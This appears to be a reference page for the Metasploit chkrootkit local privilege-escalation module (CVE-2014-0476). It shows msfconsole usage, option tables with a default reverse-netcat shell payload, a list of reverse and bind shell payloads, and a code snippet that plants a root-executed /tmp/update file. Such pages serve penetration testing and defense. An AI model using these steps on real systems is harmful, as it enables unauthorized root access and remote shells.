Chkrootkit Local Privilege Escalation - Metasploit

This page contains detailed information about how to use the exploit/unix/local/chkrootkit metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

---

Name: Chkrootkit Local Privilege Escalation
Module: exploit/unix/local/chkrootkit
Source code: modules/exploits/unix/local/chkrootkit.rb
Disclosure date: 2014-06-04
Last modification time: 2021-01-21 19:59:29 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-0476

Chkrootkit before 0.50 will run any executable file named /tmp/update as root, allowing a trivial privilege escalation. WfsDelay is set to 24h, since this is how often a chkrootkit scan is scheduled by default.

Module Ranking and Traits

---

Module Ranking:

• manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Basic Usage

---

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/unix/local/chkrootkit
msf exploit(chkrootkit) > show targets
    ... a list of targets ...
msf exploit(chkrootkit) > set TARGET target-id
msf exploit(chkrootkit) > show options
    ... show and set options ...
msf exploit(chkrootkit) > set SESSION session-id
msf exploit(chkrootkit) > exploit

Required Options

---

• SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage

---

Here is how the unix/local/chkrootkit exploit module looks in the msfconsole:

msf6 > use exploit/unix/local/chkrootkit

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/local/chkrootkit) > show info

       Name: Chkrootkit Local Privilege Escalation
     Module: exploit/unix/local/chkrootkit
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-06-04

Provided by:
  Thomas Stangner
  Julien "jvoisin" Voisin

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name        Current Setting       Required  Description
  ----        ---------------       --------  -----------
  CHKROOTKIT  /usr/sbin/chkrootkit  yes       Path to chkrootkit
  SESSION                           yes       The session to run this module on.

Payload information:

Description:
  Chkrootkit before 0.50 will run any executable file named 
  /tmp/update as root, allowing a trivial privilege escalation. 
  WfsDelay is set to 24h, since this is how often a chkrootkit scan is 
  scheduled by default.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-0476
  OSVDB (107710)
  https://www.exploit-db.com/exploits/33899
  http://www.securityfocus.com/bid/67813
  https://seclists.org/oss-sec/2014/q2/430

Module Options

---

This is a complete list of options available in the unix/local/chkrootkit exploit:

msf6 exploit(unix/local/chkrootkit) > show options

Module options (exploit/unix/local/chkrootkit):

   Name        Current Setting       Required  Description
   ----        ---------------       --------  -----------
   CHKROOTKIT  /usr/sbin/chkrootkit  yes       Path to chkrootkit
   SESSION                           yes       The session to run this module on.

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

---

Here is a complete list of advanced options supported by the unix/local/chkrootkit exploit:

msf6 exploit(unix/local/chkrootkit) > show advanced

Module advanced options (exploit/unix/local/chkrootkit):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

---

Here is a list of targets (platforms and systems) which the unix/local/chkrootkit module can exploit:

msf6 exploit(unix/local/chkrootkit) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

---

This is a list of possible payloads which can be delivered and executed on the target system using the unix/local/chkrootkit exploit:

msf6 exploit(unix/local/chkrootkit) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_inetd                                  normal  No     Unix Command Shell, Bind TCP (inetd)
   3   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   4   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   5   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   6   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   7   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   8   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   9   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   10  payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   11  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   12  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   13  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   14  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   15  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   16  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   17  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   18  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   19  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   20  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   21  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   22  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   23  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   24  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   25  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   26  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   27  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   28  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   29  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   30  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   31  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   32  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   33  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   34  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   35  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   36  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   37  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   38  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   39  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   40  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   41  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   42  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   43  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   44  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   45  payload/generic/custom                                       normal  No     Custom Payload
   46  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   47  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options

---

Here is the full list of possible evasion options supported by the unix/local/chkrootkit exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/local/chkrootkit) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

---

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Rooting depends on the crontab (this could take a while)

---

Here is a relevant code snippet related to the "Rooting depends on the crontab (this could take a while)" error message:

62:	      Exploit::CheckCode::Safe
63:	    end
64:	  end
65:	
66:	  def exploit
67:	    print_warning('Rooting depends on the crontab (this could take a while)')
68:	
69:	    write_file('/tmp/update', "#!/bin/sh\n(#{payload.encoded}) &\n")
70:	    cmd_exec('chmod +x /tmp/update')
71:	    register_file_for_cleanup('/tmp/update')
72:	

Go back to menu.

Related Pull Requests

---

• #14640 Merged Pull Request: rubocop -a modules/exploits/unix/local/
• #14375 Merged Pull Request: remove cwe-74 from cmsms_object_injection_rce, and cwe-20 from chkrootkit
• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #10649 Merged Pull Request: Fix http://seclists.org links to https://
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #7317 Merged Pull Request: Fix typo in exploit/unix/local/chkrootkit
• #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names

References

---

• CVE-2014-0476
• OSVDB (107710)
• EDB-33899
• BID-67813
• https://seclists.org/oss-sec/2014/q2/430

See Also

---

Check also the following modules related to this module:

• exploit/unix/local/at_persistence
• exploit/unix/local/emacs_movemail
• exploit/unix/local/exim_perl_startup
• exploit/unix/local/netbsd_mail_local
• exploit/unix/local/opensmtpd_oob_read_lpe
• exploit/unix/local/setuid_nmap

Related Nessus plugins:

• GLSA-201709-05 : chkrootkit: Local privilege escalation
• Debian DSA-2945-1 : chkrootkit - security update
• Ubuntu 10.04 LTS / 12.04 LTS / 13.10 / 14.04 LTS : chkrootkit vulnerability (USN-2230-1)
• Mandriva Linux Security Advisory : chkrootkit (MDVSA-2014:122)
• Fedora 20 : chkrootkit-0.49-9.fc20 (2014-7071)
• Fedora 19 : chkrootkit-0.49-9.fc19 (2014-7090)
• Amazon Linux AMI : chkrootkit (ALAS-2014-370)

Authors

---

• Thomas Stangner
• Julien "jvoisin" Voisin

Version

---

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.